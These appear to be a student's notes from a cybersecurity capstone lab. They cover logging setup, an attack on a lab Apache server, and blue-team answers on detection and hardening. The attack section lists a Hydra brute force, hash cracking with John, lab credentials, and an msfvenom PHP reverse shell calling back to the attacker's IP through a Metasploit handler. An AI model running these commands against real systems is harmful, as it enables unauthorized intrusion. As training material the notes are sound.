

Notes

Setting up Beats on Capstone

This is done for logging that attacks before attacking

- ◦ Log into capstone - Vagrant:tnargav
 - Sudo su
 - Filebeat modules enable apace
 - Filebeat setup
 - Metricbeat modules enable apache
 - Metricbeat setup
 - Packetbeat setup
 - Systemctl restart filebeat
 - Systemctl restart metricbeat
 - Systemctl restart packetbeat

Attacking capstone from kali

- Determine capstone ip
 - Run ifconfig on kali to determine subnet
 - Kali IP | 192.168.1.90
 - Run nmap against 192.168.1.1/24
 - ◦ Nmap 192.168.1.0/24
 - Did not give enough information. Needed to run -sV to get more information
 - Nmap -sV 192.168.1.0/24
 - 192.168.1.100
 - Elastic Search | Ubuntu
 - 192.168.1.105
 - Apache | Ubuntu
 - Open <http://192.168.1.105>

- Run dirb against apache server
 - Dirb <http://192.168.1.105>
 - Returned
 - */server-status

Access Forbidden

- ○ ○ ○ ○ ○ */webdav

Username:Password login

- ○ Run Hydra against */company_folders_secret_folder - Find wordlists - Locate rockyou - Cd /usr/share/wordlists - Ls - Gunzip rockyou.txt.gz - Ls - To verify unzip - Hydra help to see options/flags - Ashton manages secret folder - Use username ashton - Hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder - ashton:leopoldo - open connect to corp server - webdav - ryan's account - ryans hash - "d7dad0a5cd7c8376eeb50d69b3ccd352" - Echo d7dad0a5cd7c8376eeb50d69b3ccd352 > hash.txt - John hash.txt - John -show hash.txt - Ryan:linux4u
 - Upload reverse shell php
 - Msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=4445 -f raw > exploit.php
 - Create listener
 - Msfconsole
 - Use exploit/multi/handler
 - Set LHOST 192.168.1.90
 - Set LPORT 4445
 - Set exploit php/reverse_php
 - Exploit
 - Cd /
 - Ls
 - Cat flag.txt

Part 3

Identifying offensive traffic

- When did the attack occur?
 - between 12am and 2 am UTC
- What response did the victim send back?
 - Http Code 401 (Unauthorized)
 - 522,611 hits
- What is concerning from the blue team perspective?
 - There are a lot of unauthorized login attempts.

Find the requests for the hidden directory

- How many requests were made to the directory?
 - 15,583
- Which files were requested?
 - connect_to_corp_server
- What kind of alarm would you set to detect this behavior in the future?
 - Alert if more than x amount of requests in x amount of time
- Identify at least one way to harden the vulnerable machine that would mitigate this request?
 - Don't list anywhere on the website the url

Identify the brute force attack

- Can you identify the packets specifically from hydra?
 - User_agent.original : Mozilla /4.0 (Hydra)
- How many requests were made in the brute force attack?
 - 15,574
- How many requests had the attacker made before discovering the correct password in this one?

- What kind of alarm would you set to detect this behavior in the future and at what threshold?
 - Too many failed logins attempted | 5 per minute
- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
 - Use more secure passwords
 - Don't list usernames on the website
 - Don't allow more than 5 failed logins per minute
 - Lock out account for 10 minutes if exceeds allowable failed logins

Find the WebDav session

- How many requests were made to this directory?
 - 27
- Which files were requested?
 - Meta.php
- What kind of alarm would you set to detect this behavior in the future?
 - Create an alarm that would trigger anytime this directory is accessed by an unauthorized machine.
- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
 - Connections to this folder should not be accessible from web interface
 - Access to this folder should be restricted by machine by firewall rules.

Identify reverse shell and meterpreter traffic

- Can you identify meterpreter session?
 - Yes by destination port 4444. 4444 is meterpreter default port
- What kind of alarm would you set to detect this behavior in the future?
 - Alarm for anything on port 4444
 - Alert for php uploads

- Identify at least one way to harden the vulnerable machine that would mitigate this attack?
 - Remove the ability to upload files
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